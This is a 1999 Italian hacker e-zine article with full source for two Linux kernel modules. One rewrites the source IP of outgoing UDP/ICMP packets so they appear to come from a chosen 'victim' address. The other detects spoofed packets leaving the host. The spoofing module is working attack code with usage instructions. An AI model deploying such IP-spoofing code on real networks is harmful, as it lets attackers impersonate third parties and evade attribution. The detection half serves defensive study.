---------------------[ previous ]---[ index ]---[ next ]----------------------

==============================================================================
-------------[ BFi numero 7, anno 2 - 25/12/1999 - file 8 di 22 ]-------------
==============================================================================


-[ HACKiNG ]------------------------------------------------------------------
---[ SP00FiNG & SP00FiNG DETECTi0N ViA LKM FR0M A LiNUX B0X - pIGpEN


Oggetti particolari:
		       Una bottiglia di cocacola versata in tazzina 
		       tekno-cola-sciamana con porcellino disegnato e scritta
		       BIG PIG ... presto disponibile in jpg su www.s0ftpj.org
		       Tastiera tekno-geo-lunare tratta dal sudato libro 
		       scolastico: Scienze della TERRA ridotto volontariamente
		       ad un collage

Eventi particolari:    Nella scrittura del syslog.c che risale a prima dello 
		       scopo di questo articolo mi sono imbattuto in un
		       baiocco, lasciato su una delle due casse, che e' stato
		       prontamente mangiato...
		       Visto che non avevo comprato baiocchi nella settimana
		       dell'accaduto e che non ci sono tracce in cucina di 
		       altri suoi compari suppongo che sia stato vecchio

IMPORTANTE!!!! CONCORSO BiSCOTTi PIU' MANGIATI DAL S0FTPJ:
		       - Primo premio attribuito al PALICAO!
		       - Ultimo premio alle fottute pannocchie mangiate da
		         nellozzolo e kobino :P

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Questo semplice articolo dimostra in poco spazio (perche' tra poco sono a 
cena) come sia possibile spoofarsi direttamente dal kernel tramite lkm e
come sia possibile scoprire un tentativo di spoofing nel proprio sistema
da parte di un utente...

Entrambi questi metodi si basano sulla struttura sk_buff utilizzata prima di
me gia' da kossak, lifeline e chissa' quanti altri a cominciare ovviamente
dagli sviluppatori del kernel stesso (Alan Rulez!!)
In particolare tale struttura serve in questi 2 casi per agire sul livello di
rete che, basandosi sui protocolli utilizzati comunemente su internet, sara'
un iphdr...

struct sk_buff {

 ......

// NETWORK LAYER

        union
        {
                struct iphdr    *iph;        
                struct ipv6hdr  *ipv6h;
                struct arphdr   *arph;
                struct ipxhdr   *ipxh;
                unsigned char   *raw;
        } nh;

......

};

Useremo quindi per i nostri scopi iph, a meno che non cazzeggiate con ipx o
altro. Chi ha detto che lo spoofing, in senso letterale, non sia applicabile
ad altri protocolli? ...Anzi ;P

1 - Spoofare i pacchetti uscenti, via Linux Network Layer
    -----------------------------------------------------

    Qui si tratta di accettare un ip come input e di spoofare tutti i messaggi
    destinati a quell'ip con un ip vittima dato dall'utente...
    Ecco qui una semplice implementazione per udp/icmp:

---------- snip ----------
/*
 * SP00FiNG 0UTG0iNG PACKETS ViA LiNUX NETW0RK LAYER
 * -------------------------------------------------
 *
 * This is a linux kernel module to spoof from your box every udp/icmp outgoing
 * packet with destination = dstip
 * 
 * If you wanna see output you have to sniff msg in <spoofip> machine
 * or if it's in your network you have to put your network interface 
 * in promisc mode
 *
 * Compile with: gcc -O6 -c spoof.c -I/usr/src/linux/include 
 *
 * Usage: insmod spoof dstip=192.168.1.1 spoofip=192.168.1.3 [dev=eth0]
 * 
 * Every udp/icmp packet with destination=192.168.1.1 will be spoofed with
 * source=192.168.1.3 
 *
 * Use it only for phun ... not for illegal purposes
 *
 * Based on the artice "Building Into The Linux Network Layer" written by
 * kossak and lifeline (Phrack vol.9, issue 55, file 12 of 19)
 *
 * pIGpEN <pigpen@s0ftpj.org>
 *
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>


char *dev,*dstip,*spoofip;

MODULE_PARM(dev,     "s");
MODULE_PARM(dstip,   "s");
MODULE_PARM(spoofip, "s");


struct packet_type s_proto;
struct device *d;

/* net/ipv4/utils.c */

__u32 in_aton(const char *str) {
        unsigned long l;
        unsigned int val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++) {
                l <<= 8;
                if (*str != '\0') {
                        val = 0;
                        while (*str != '\0' && *str != '.') {
                                val *= 10;
                                val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}


int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

       //skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;

       switch(skb->nh.iph->protocol)
       {
        case IPPROTO_ICMP: if(skb->nh.iph->daddr==in_aton(dstip))
			   	skb->nh.iph->saddr=in_aton(spoofip);	
			   break;
       
        case IPPROTO_UDP:  if(skb->nh.iph->daddr==in_aton(dstip))
				skb->nh.iph->saddr=in_aton(spoofip);
                           break;

        default: 	   break;
      }
      
     return 1;   
}


int init_module() {
 if(!dstip || !spoofip) {
  printk("Usage: insmod spoof dstip=x.x.x.x spoofip=x.x.x.x [dev=devname]\n\n");
  return -ENXIO;
  }

 if (dev) {
   d = dev_get(dev);
   if (!d) {
    printk("Did not find device %s!\n", dev);
    printk("Using all known devices...");
   }
   else {
    printk("Using device %s, ifindex: %i\n",
            dev, d->ifindex);
    s_proto.dev = d;
   }
 }
 else
   printk("Using all known devices(wildcarded)...\n");

   s_proto.type = htons(ETH_P_ALL);
   s_proto.func = otp_func;
   dev_add_pack(&s_proto);

   return(0);
}

void cleanup_module() {
    dev_remove_pack(&s_proto);
    printk("Module unloaded\n");
}
---------- snip ----------

Chiaramente se ci interessera' vedere la risposta dovremo sniffare i pacchetti
dalla vittima e se questa appartiene alla nostra rete puo' darsi che basti
mettere la propria interfaccia in modalita' promiscua; in tutti gli altri casi
dovrete avere accesso alla box vittima ed uno sniffer che giri su di essa.
Visto che non e' stato scritto per scopi illegali non vi dico come adattare al
meglio questo sorgente... :P

2 - Scoprire tentativi di spoofing dalla propria macchina
    -----------------------------------------------------

    Questo sorgente e' effettivamente in grado di farlo, ma va modificato
    nel caso la vostra macchina abbia piu' di un ip. E' semplice farlo:
    lascio a voi il compito di adattarlo...

    Anche in questo caso il concetto e' piuttosto intuitivo: si controlla
    semplicemente che i pacchetti uscenti dalla propria macchina non abbiano
    ip sorgente diverso dal proprio ip e da 127.0.0.1

    E' pure chiaro che se vi trovate stampata una riga del tipo:

              Detected possible spoofing from your box
              Spoofed ip = 666.666.666.666

    qualcuno deve aver pure rootato la vostra macchina per aprire un socket
    di tipo RAW e modificare l'ip header :)

    Ovviamente questo codice puo' essere esteso, ad esempio non permettendo
    di inviare il pacchetto spoofato...  
   
---------- snip ----------
/*
 *
 * IP SP00FiNG DETECTi0N ViA LiNUX NETW0RK LAYER
 * ---------------------------------------------
 *
 * This lkm detects a possible spoofed pkt from your host and gives you the
 * spoofed ip
 *
 * Compile with: gcc -O6 -c detect-spoof.c -I/usr/src/linux/include
 *
 * Usage: insmod detect-spoof ip=yourip [dev=eth0]
 *
 * If you have a box with more than one ip, you have to modify this module...
 * This code only checks if the source ip is different than 127.0.0.1 and
 * if ip=yourip .
 *
 * Based on the artice "Building Into The Linux Network Layer" written by
 * kossak and lifeline (Phrack vol.9, issue 55, file 12 of 19)
 *
 * pIGpEN <pigpen@s0ftpj.org>
 *
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>


char *dev,*ip;

MODULE_PARM(dev,  "s");
MODULE_PARM(ip,   "s");


struct packet_type s_proto;
struct device *d;

/* net/ipv4/utils.c */

char *in_ntoa(__u32 in) {
        static char buff[18];
        char *p;

        p = (char *) ∈
        sprintf(buff, "%d.%d.%d.%d",
                (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
        return(buff);
}

/* ditto */

__u32 in_aton(const char *str) {
        unsigned long l;
        unsigned int val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++) {
                l <<= 8;
                if (*str != '\0') {
                        val = 0;
                        while (*str != '\0' && *str != '.') {
                                val *= 10;
                                val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}


int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

       //skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;

  if(skb->pkt_type==PACKET_OUTGOING)
   {
    if(skb->nh.iph->saddr!=in_aton(ip) && 
       skb->nh.iph->saddr!=in_aton("127.0.0.1"))
    {
     printk(KERN_WARNING "Detect possible spoofing from your box");
     printk(KERN_WARNING "Spoofed ip = %s", in_ntoa(skb->nh.iph->saddr));
    }
   }
  return 1;   
}


int init_module() {
 if(!ip) {
  printk("Usage: insmod ip=x.x.x.x [dev=devname]\n\n");
  return -ENXIO;
  }

 if (dev) {
   d = dev_get(dev);
   if (!d) {
    printk("Did not find device %s!\n", dev);
    printk("Using all known devices...");
   }
   else {
    printk("Using device %s, ifindex: %i\n",
            dev, d->ifindex);
    s_proto.dev = d;
   }
 }
 else
   printk("Using all known devices(wildcarded)...\n");

   s_proto.type = htons(ETH_P_ALL);
   s_proto.func = otp_func;
   dev_add_pack(&s_proto);

   return(0);
}

void cleanup_module() {
    dev_remove_pack(&s_proto);
    printk("Module unloaded\n");
}
---------- snip ----------

Inutile dire che modificare i membri della struttura sk_buff permette di fare
tutto quello che comunemente fate codando in C e utilizzando le librerie
della vostra box... Ha inoltre dei vantaggi poiche' permette a livello kernel
di modificare i pacchetti prima del loro invio agendo ad un livello piu'
basso che per quanto possa essere piu' difficile (gli allineamenti succhiano :)
risultera' comunque piu' veloce e si spera efficiente. Questo pero' dipende da
voi...

Divertitevi.
Alibabau... 

pIGpEN


==============================================================================
---------------------------------[ EOF 8/23 ]---------------------------------
==============================================================================

---------------------[ previous ]---[ index ]---[ next ]----------------------